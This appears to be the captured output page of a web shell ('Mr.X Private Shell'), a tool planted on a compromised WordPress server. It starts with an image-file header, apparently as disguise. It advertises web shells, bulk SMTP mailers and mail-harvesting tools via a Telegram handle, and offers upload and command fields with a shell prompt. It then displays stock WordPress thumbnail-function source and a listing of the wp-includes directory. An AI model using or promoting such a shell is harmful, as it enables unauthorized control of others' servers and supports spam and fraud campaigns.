����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.143: ~ $
<?php
/**
 * WordPress Post Thumbnail Template Functions.
 *
 * Support for post thumbnails.
 * Theme's functions.php must call add_theme_support( 'post-thumbnails' ) to use these.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Determines whether a post has an image attached.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.9.0
 * @since 4.4.0 `$post` can be a post ID or WP_Post object.
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return bool Whether the post has an image attached.
 */
function has_post_thumbnail( $post = null ) {
	$thumbnail_id  = get_post_thumbnail_id( $post );
	$has_thumbnail = (bool) $thumbnail_id;

	/**
	 * Filters whether a post has a post thumbnail.
	 *
	 * @since 5.1.0
	 *
	 * @param bool             $has_thumbnail true if the post has a post thumbnail, otherwise false.
	 * @param int|WP_Post|null $post          Post ID or WP_Post object. Default is global `$post`.
	 * @param int|false        $thumbnail_id  Post thumbnail ID or false if the post does not exist.
	 */
	return (bool) apply_filters( 'has_post_thumbnail', $has_thumbnail, $post, $thumbnail_id );
}

/**
 * Retrieve post thumbnail ID.
 *
 * @since 2.9.0
 * @since 4.4.0 `$post` can be a post ID or WP_Post object.
 * @since 5.5.0 The return value for a non-existing post
 *              was changed to false instead of an empty string.
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return int|false Post thumbnail ID (which can be 0 if the thumbnail is not set),
 *                   or false if the post does not exist.
 */
function get_post_thumbnail_id( $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$thumbnail_id = (int) get_post_meta( $post->ID, '_thumbnail_id', true );

	/**
	 * Filters post thumbnail ID.
	 *
	 * @since 5.9.0
	 *
	 * @param int|false        $thumbnail_id Post thumbnail ID or false if the post does not exist.
	 * @param int|WP_Post|null $post         Post ID or WP_Post object. Default is global `$post`.
	 */
	return (int) apply_filters( 'post_thumbnail_id', $thumbnail_id, $post );
}

/**
 * Display the post thumbnail.
 *
 * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size
 * is registered, which differs from the 'thumbnail' image size managed via the
 * Settings > Media screen.
 *
 * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image
 * size is used by default, though a different size can be specified instead as needed.
 *
 * @since 2.9.0
 *
 * @see get_the_post_thumbnail()
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of
 *                           width and height values in pixels (in that order). Default 'post-thumbnail'.
 * @param string|array $attr Optional. Query string or array of attributes. Default empty.
 */
function the_post_thumbnail( $size = 'post-thumbnail', $attr = '' ) {
	echo get_the_post_thumbnail( null, $size, $attr );
}

/**
 * Update cache for thumbnails in the current loop.
 *
 * @since 3.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Query $wp_query Optional. A WP_Query instance. Defaults to the $wp_query global.
 */
function update_post_thumbnail_cache( $wp_query = null ) {
	if ( ! $wp_query ) {
		$wp_query = $GLOBALS['wp_query'];
	}

	if ( $wp_query->thumbnails_cached ) {
		return;
	}

	$thumb_ids = array();

	foreach ( $wp_query->posts as $post ) {
		$id = get_post_thumbnail_id( $post->ID );
		if ( $id ) {
			$thumb_ids[] = $id;
		}
	}

	if ( ! empty( $thumb_ids ) ) {
		_prime_post_caches( $thumb_ids, false, true );
	}

	$wp_query->thumbnails_cached = true;
}

/**
 * Retrieve the post thumbnail.
 *
 * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size
 * is registered, which differs from the 'thumbnail' image size managed via the
 * Settings > Media screen.
 *
 * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image
 * size is used by default, though a different size can be specified instead as needed.
 *
 * @since 2.9.0
 * @since 4.4.0 `$post` can be a post ID or WP_Post object.
 *
 * @param int|WP_Post  $post Optional. Post ID or WP_Post object.  Default is global `$post`.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of
 *                           width and height values in pixels (in that order). Default 'post-thumbnail'.
 * @param string|array $attr Optional. Query string or array of attributes. Default empty.
 * @return string The post thumbnail image tag.
 */
function get_the_post_thumbnail( $post = null, $size = 'post-thumbnail', $attr = '' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return '';
	}

	$post_thumbnail_id = get_post_thumbnail_id( $post );

	/**
	 * Filters the post thumbnail size.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$post_id` parameter.
	 *
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 * @param int          $post_id The post ID.
	 */
	$size = apply_filters( 'post_thumbnail_size', $size, $post->ID );

	if ( $post_thumbnail_id ) {

		/**
		 * Fires before fetching the post thumbnail HTML.
		 *
		 * Provides "just in time" filtering of all filters in wp_get_attachment_image().
		 *
		 * @since 2.9.0
		 *
		 * @param int          $post_id           The post ID.
		 * @param int          $post_thumbnail_id The post thumbnail ID.
		 * @param string|int[] $size              Requested image size. Can be any registered image size name, or
		 *                                        an array of width and height values in pixels (in that order).
		 */
		do_action( 'begin_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size );

		if ( in_the_loop() ) {
			update_post_thumbnail_cache();
		}

		// Get the 'loading' attribute value to use as default, taking precedence over the default from
		// `wp_get_attachment_image()`.
		$loading = wp_get_loading_attr_default( 'the_post_thumbnail' );

		// Add the default to the given attributes unless they already include a 'loading' directive.
		if ( empty( $attr ) ) {
			$attr = array( 'loading' => $loading );
		} elseif ( is_array( $attr ) && ! array_key_exists( 'loading', $attr ) ) {
			$attr['loading'] = $loading;
		} elseif ( is_string( $attr ) && ! preg_match( '/(^|&)loading=/', $attr ) ) {
			$attr .= '&loading=' . $loading;
		}

		$html = wp_get_attachment_image( $post_thumbnail_id, $size, false, $attr );

		/**
		 * Fires after fetching the post thumbnail HTML.
		 *
		 * @since 2.9.0
		 *
		 * @param int          $post_id           The post ID.
		 * @param int          $post_thumbnail_id The post thumbnail ID.
		 * @param string|int[] $size              Requested image size. Can be any registered image size name, or
		 *                                        an array of width and height values in pixels (in that order).
		 */
		do_action( 'end_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size );

	} else {
		$html = '';
	}

	/**
	 * Filters the post thumbnail HTML.
	 *
	 * @since 2.9.0
	 *
	 * @param string       $html              The post thumbnail HTML.
	 * @param int          $post_id           The post ID.
	 * @param int          $post_thumbnail_id The post thumbnail ID, or 0 if there isn't one.
	 * @param string|int[] $size              Requested image size. Can be any registered image size name, or
	 *                                        an array of width and height values in pixels (in that order).
	 * @param string|array $attr              Query string or array of attributes.
	 */
	return apply_filters( 'post_thumbnail_html', $html, $post->ID, $post_thumbnail_id, $size, $attr );
}

/**
 * Return the post thumbnail URL.
 *
 * @since 4.4.0
 *
 * @param int|WP_Post  $post Optional. Post ID or WP_Post object.  Default is global `$post`.
 * @param string|int[] $size Optional. Registered image size to retrieve the source for or a flat array
 *                           of height and width dimensions. Default 'post-thumbnail'.
 * @return string|false Post thumbnail URL or false if no image is available. If `$size` does not match
 *                      any registered image size, the original image URL will be returned.
 */
function get_the_post_thumbnail_url( $post = null, $size = 'post-thumbnail' ) {
	$post_thumbnail_id = get_post_thumbnail_id( $post );

	if ( ! $post_thumbnail_id ) {
		return false;
	}

	$thumbnail_url = wp_get_attachment_image_url( $post_thumbnail_id, $size );

	/**
	 * Filters the post thumbnail URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string|false     $thumbnail_url Post thumbnail URL or false if the post does not exist.
	 * @param int|WP_Post|null $post          Post ID or WP_Post object. Default is global `$post`.
	 * @param string|int[]     $size          Registered image size to retrieve the source for or a flat array
	 *                                        of height and width dimensions. Default 'post-thumbnail'.
	 */
	return apply_filters( 'post_thumbnail_url', $thumbnail_url, $post, $size );
}

/**
 * Display the post thumbnail URL.
 *
 * @since 4.4.0
 *
 * @param string|int[] $size Optional. Image size to use. Accepts any valid image size,
 *                           or an array of width and height values in pixels (in that order).
 *                           Default 'post-thumbnail'.
 */
function the_post_thumbnail_url( $size = 'post-thumbnail' ) {
	$url = get_the_post_thumbnail_url( null, $size );

	if ( $url ) {
		echo esc_url( $url );
	}
}

/**
 * Returns the post thumbnail caption.
 *
 * @since 4.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string Post thumbnail caption.
 */
function get_the_post_thumbnail_caption( $post = null ) {
	$post_thumbnail_id = get_post_thumbnail_id( $post );

	if ( ! $post_thumbnail_id ) {
		return '';
	}

	$caption = wp_get_attachment_caption( $post_thumbnail_id );

	if ( ! $caption ) {
		$caption = '';
	}

	return $caption;
}

/**
 * Displays the post thumbnail caption.
 *
 * @since 4.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 */
function the_post_thumbnail_caption( $post = null ) {
	/**
	 * Filters the displayed post thumbnail caption.
	 *
	 * @since 4.6.0
	 *
	 * @param string $caption Caption for the given attachment.
	 */
	echo apply_filters( 'the_post_thumbnail_caption', get_the_post_thumbnail_caption( $post ) );
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0755
IXR Folder 0755
PHPMailer Folder 0755
Requests Folder 0755
SimplePie Folder 0755
Text Folder 0755
assets Folder 0755
block-patterns Folder 0755
block-supports Folder 0755
blocks Folder 0755
certificates Folder 0755
css Folder 0755
customize Folder 0755
fonts Folder 0755
images Folder 0755
js Folder 0755
php-compat Folder 0755
pomo Folder 0755
random_compat Folder 0755
rest-api Folder 0755
sitemaps Folder 0755
sodium_compat Folder 0755
theme-compat Folder 0755
widgets Folder 0755
admin-bar.php File 32.69 KB 0644
atomlib.php File 11.67 KB 0644
author-template.php File 16.63 KB 0644
block-editor.php File 18.37 KB 0644
block-i18n.json File 316 B 0644
block-patterns.php File 4.19 KB 0644
block-template-utils.php File 29.57 KB 0644
block-template.php File 10.52 KB 0644
blocks.php File 42.22 KB 0644
bookmark-template.php File 12.6 KB 0644
bookmark.php File 14.97 KB 0644
cache-compat.php File 1.02 KB 0644
cache.php File 9.29 KB 0644
canonical.php File 32.31 KB 0644
capabilities.php File 34.88 KB 0644
category-template.php File 54.4 KB 0644
category.php File 12.41 KB 0644
class-IXR.php File 2.48 KB 0644
class-feed.php File 529 B 0644
class-http.php File 373 B 0644
class-json.php File 42.42 KB 0644
class-oembed.php File 407 B 0644
class-phpass.php File 6.54 KB 0644
class-phpmailer.php File 664 B 0644
class-pop3.php File 20.35 KB 0644
class-requests.php File 29.72 KB 0644
class-simplepie.php File 95.78 KB 0644
class-smtp.php File 457 B 0644
class-snoopy.php File 36.83 KB 0644
class-walker-category-dropdown.php File 2.41 KB 0644
class-walker-category.php File 8.27 KB 0644
class-walker-comment.php File 13.88 KB 0644
class-walker-nav-menu.php File 9.13 KB 0644
class-walker-page-dropdown.php File 2.65 KB 0644
class-walker-page.php File 7.42 KB 0644
class-wp-admin-bar.php File 17.05 KB 0644
class-wp-ajax-response.php File 5.12 KB 0644
class-wp-application-passwords.php File 11.95 KB 0644
class-wp-block-editor-context.php File 890 B 0644
class-wp-block-list.php File 4.61 KB 0644
class-wp-block-parser.php File 14.86 KB 0644
class-wp-block-pattern-categories-registry.php File 4.43 KB 0644
class-wp-block-patterns-registry.php File 5.8 KB 0644
class-wp-block-styles-registry.php File 4.88 KB 0644
class-wp-block-supports.php File 5.17 KB 0644
class-wp-block-template.php File 1.77 KB 0644
class-wp-block-type-registry.php File 4.53 KB 0644
class-wp-block-type.php File 9.27 KB 0644
class-wp-block.php File 7.99 KB 0644
class-wp-comment-query.php File 46.33 KB 0644
class-wp-comment.php File 9.1 KB 0644
class-wp-customize-control.php File 25.11 KB 0644
class-wp-customize-manager.php File 196.56 KB 0644
class-wp-customize-nav-menus.php File 55.45 KB 0644
class-wp-customize-panel.php File 10.19 KB 0644
class-wp-customize-section.php File 10.72 KB 0644
class-wp-customize-setting.php File 29.08 KB 0644
class-wp-customize-widgets.php File 69.52 KB 0644
class-wp-date-query.php File 34.17 KB 0644
class-wp-dependency.php File 2.45 KB 0644
class-wp-editor.php File 69.54 KB 0644
class-wp-embed.php File 15.57 KB 0644
class-wp-error.php File 7.13 KB 0644
class-wp-fatal-error-handler.php File 7.4 KB 0644
class-wp-feed-cache-transient.php File 2.5 KB 0644
class-wp-feed-cache.php File 970 B 0644
class-wp-hook.php File 15.32 KB 0644
class-wp-http-cookie.php File 7.21 KB 0644
class-wp-http-curl.php File 12.1 KB 0644
class-wp-http-encoding.php File 6.51 KB 0644
class-wp-http-ixr-client.php File 3.39 KB 0644
class-wp-http-proxy.php File 5.82 KB 0644
class-wp-http-requests-hooks.php File 1.94 KB 0644
class-wp-http-requests-response.php File 4.24 KB 0644
class-wp-http-response.php File 2.88 KB 0644
class-wp-http-streams.php File 16.26 KB 0644
class-wp-http.php File 38.97 KB 0644
class-wp-image-editor-gd.php File 15.29 KB 0644
class-wp-image-editor-imagick.php File 26.33 KB 0644
class-wp-image-editor.php File 16.26 KB 0644
class-wp-list-util.php File 6.83 KB 0644
class-wp-locale-switcher.php File 4.9 KB 0644
class-wp-locale.php File 13.65 KB 0644
class-wp-matchesmapregex.php File 1.76 KB 0644
class-wp-meta-query.php File 29.47 KB 0644
class-wp-metadata-lazyloader.php File 5.23 KB 0644
class-wp-network-query.php File 18.72 KB 0644
class-wp-network.php File 12.09 KB 0644
class-wp-object-cache.php File 13.23 KB 0644
class-wp-oembed-controller.php File 6.67 KB 0644
class-wp-oembed.php File 29.98 KB 0644
class-wp-paused-extensions-storage.php File 4.81 KB 0644
class-wp-post-type.php File 20.72 KB 0644
class-wp-post.php File 6.27 KB 0644
class-wp-query.php File 135.7 KB 0644
class-wp-recovery-mode-cookie-service.php File 6.31 KB 0644
class-wp-recovery-mode-email-service.php File 10.41 KB 0644
class-wp-recovery-mode-key-service.php File 4.17 KB 0644
class-wp-recovery-mode-link-service.php File 3.32 KB 0644
class-wp-recovery-mode.php File 11.11 KB 0644
class-wp-rewrite.php File 61.49 KB 0644
class-wp-role.php File 2.44 KB 0644
class-wp-roles.php File 8.24 KB 0644
class-wp-session-tokens.php File 7.25 KB 0644
class-wp-simplepie-file.php File 3.18 KB 0644
class-wp-simplepie-sanitize-kses.php File 1.73 KB 0644
class-wp-site-query.php File 29.65 KB 0644
class-wp-site.php File 7.25 KB 0644
class-wp-tax-query.php File 18.99 KB 0644
class-wp-taxonomy.php File 13.41 KB 0644
class-wp-term-query.php File 37.18 KB 0644
class-wp-term.php File 5.15 KB 0644
class-wp-text-diff-renderer-inline.php File 716 B 0644
class-wp-text-diff-renderer-table.php File 16.4 KB 0644
class-wp-theme-json-resolver.php File 14.06 KB 0644
class-wp-theme-json-schema.php File 4.2 KB 0644
class-wp-theme-json.php File 61.31 KB 0644
class-wp-theme.php File 52.56 KB 0644
class-wp-user-meta-session-tokens.php File 2.92 KB 0644
class-wp-user-query.php File 37.18 KB 0644
class-wp-user-request.php File 2.14 KB 0644
class-wp-user.php File 21.7 KB 0644
class-wp-walker.php File 12.71 KB 0644
class-wp-widget-factory.php File 3.24 KB 0644
class-wp-widget.php File 17.72 KB 0644
class-wp-xmlrpc-server.php File 207.94 KB 0644
class-wp.php File 24.67 KB 0644
class.wp-dependencies.php File 13.68 KB 0644
class.wp-scripts.php File 18.5 KB 0644
class.wp-styles.php File 10.63 KB 0644
comment-template.php File 93.81 KB 0644
comment.php File 123.57 KB 0644
compat.php File 14.52 KB 0644
cron.php File 39.9 KB 0644
date.php File 406 B 0644
default-constants.php File 10.02 KB 0644
default-filters.php File 30.73 KB 0644
default-widgets.php File 2.17 KB 0644
deprecated.php File 121.94 KB 0644
embed-template.php File 341 B 0644
embed.php File 36.05 KB 0644
error-protection.php File 4.02 KB 0644
feed-atom-comments.php File 5.32 KB 0644
feed-atom.php File 2.98 KB 0644
feed-rdf.php File 2.61 KB 0644
feed-rss.php File 1.16 KB 0644
feed-rss2-comments.php File 3.97 KB 0644
feed-rss2.php File 3.71 KB 0644
feed.php File 22.43 KB 0644
formatting.php File 318.69 KB 0644
functions.php File 251.33 KB 0644
functions.wp-scripts.php File 13.12 KB 0644
functions.wp-styles.php File 8.37 KB 0644
general-template.php File 155.36 KB 0644
global-styles-and-settings.php File 6.21 KB 0644
http.php File 22.46 KB 0644
https-detection.php File 6.7 KB 0644
https-migration.php File 4.62 KB 0644
kses.php File 67.49 KB 0644
l10n.php File 57.66 KB 0644
link-template.php File 145.71 KB 0644
load.php File 49 KB 0644
locale.php File 162 B 0644
media-template.php File 58.97 KB 0644
media.php File 180.75 KB 0644
meta.php File 61.21 KB 0644
ms-blogs.php File 24.58 KB 0644
ms-default-constants.php File 4.65 KB 0644
ms-default-filters.php File 6.35 KB 0644
ms-deprecated.php File 20.63 KB 0644
ms-files.php File 2.59 KB 0644
ms-functions.php File 91.92 KB 0644
ms-load.php File 19.32 KB 0644
ms-network.php File 3.58 KB 0644
ms-settings.php File 4.03 KB 0644
ms-site.php File 38.68 KB 0644
nav-menu-template.php File 22.75 KB 0644
nav-menu.php File 41.55 KB 0644
option.php File 75.1 KB 0644
pluggable-deprecated.php File 6.12 KB 0644
pluggable.php File 101.96 KB 0644
plugin.php File 33.41 KB 0644
post-formats.php File 6.91 KB 0644
post-template.php File 63.33 KB 0644
post-thumbnail-template.php File 10.63 KB 0644
post.php File 268.67 KB 0644
query.php File 34.94 KB 0644
registration-functions.php File 200 B 0644
registration.php File 200 B 0644
rest-api.php File 93.05 KB 0644
revision.php File 22.93 KB 0644
rewrite.php File 18.76 KB 0644
robots-template.php File 5.05 KB 0644
rss-functions.php File 255 B 0644
rss.php File 22.44 KB 0644
script-loader.php File 110.87 KB 0644
session.php File 258 B 0644
shortcodes.php File 20.93 KB 0644
sitemaps.php File 3.16 KB 0644
spl-autoload-compat.php File 441 B 0644
taxonomy.php File 167.62 KB 0644
template-canvas.php File 592 B 0644
template-loader.php File 2.94 KB 0644
template.php File 21.96 KB 0644
theme-i18n.json File 925 B 0644
theme-templates.php File 5.4 KB 0644
theme.json File 5.6 KB 0644
theme.php File 124.05 KB 0644
update.php File 29.34 KB 0644
user.php File 157.79 KB 0644
vars.php File 5.68 KB 0644
version.php File 929 B 0644
widgets.php File 67.58 KB 0644
wlwmanifest.xml File 1.02 KB 0644
wp-db.php File 106.22 KB 0644
wp-diff.php File 647 B 0644